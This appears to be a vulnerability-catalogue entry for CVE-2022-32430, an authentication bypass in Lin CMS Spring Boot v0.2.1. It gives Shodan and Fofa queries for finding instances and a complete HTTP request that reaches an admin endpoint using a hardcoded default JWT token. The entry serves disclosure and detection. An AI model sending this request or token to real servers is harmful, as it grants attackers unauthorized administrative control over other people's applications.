| Title | Lin CMS Spring Boot - Default JWT Token |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Unauthenticated attackers can access backend administrative information and functions using a hardcoded default JWT token, potentially gaining complete control over the Lin CMS Spring Boot application including user management and content administration. |
| Remediation | Update Lin CMS Spring Boot to a version later than 0.2.1 that uses unique JWT secret keys, removes hardcoded tokens, and implements proper token rotation. |
| CVSS Score | 7.5 |
| EPSS Score | 0.77891 |
| CVE ID | CVE-2022-32430 |
| Shodan Query | http.html:"心上无垢，林间有风" |
| Fofa Query | body="心上无垢，林间有风" |
| Tags | cve cve2022 lin-cms auth-bypass talelin vuln |
An access control issue in Lin CMS Spring Boot v0.2.1 allows attackers to access the backend information and functions within the application.
GET /cms/admin/group/all HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6MSwic2NvcGUiOiJsaW4iLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzUzMTkzNDc5fQ.SesmAnYN5QaHqSqllCInH0kvsMya5vHA1qPHuwCZ8N8
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-32430.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-32430.pcap
N/AN/A